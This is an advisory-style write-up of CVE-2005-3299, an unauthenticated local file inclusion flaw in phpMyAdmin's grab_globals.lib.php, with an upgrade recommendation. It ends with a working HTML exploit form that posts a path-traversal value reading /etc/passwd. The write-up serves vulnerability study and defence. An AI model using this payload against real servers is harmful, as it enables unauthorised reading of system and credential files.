CVE-2005-3299

An attacker can send a POST request to the phpMyAdmin index.php page. This request must include the parameter 'usesubform' and a nested 'subform' array containing a 'redirect' key. The value of the 'redirect' key will be used to include a local file, leading to a local file inclusion vulnerability [ref_id=1]. This attack does not require authentication and can be performed remotely [ref_id=1].

The vulnerability exists in the file ./libraries/grab_globals.lib.php. Specifically, lines 101-104 handle the inclusion of a file based on the $__redirect variable, which is populated earlier in the script (lines 53-67) from POST data, including a 'redirect' parameter within a 'subform' array [ref_id=1].

The advisory recommends upgrading to phpMyAdmin version 2.6.4-pl2 or newer to resolve this vulnerability [ref_id=3]. The patch, not provided in the bundle, likely addresses the improper validation of the $__redirect parameter in libraries/grab_globals.lib.php to prevent arbitrary file inclusions.

<CENTER> <A HREF="http://cxsecurity.com"><IMG SRC="http://cxsecurity.com/gfx/small_logo.png"></A><P> <FORM action="http://localhost/phpMyAdmin-2.6.4-pl1/index.php" method=post enctype="multipart/form-data"> <input TYPE="hidden" name="usesubform[1]" value="1"> <input TYPE="hidden" name="usesubform[2]" value="1"> <input TYPE="text" name="subform[1][redirect]" value="../../../../../etc/passwd" size=30> File<p> <input TYPE="hidden" name="subform[1][cXIb8O3]" value="1"> <input TYPE="submit" value="Exploit"> </FORM> - -Exploit--- [ref_id=1]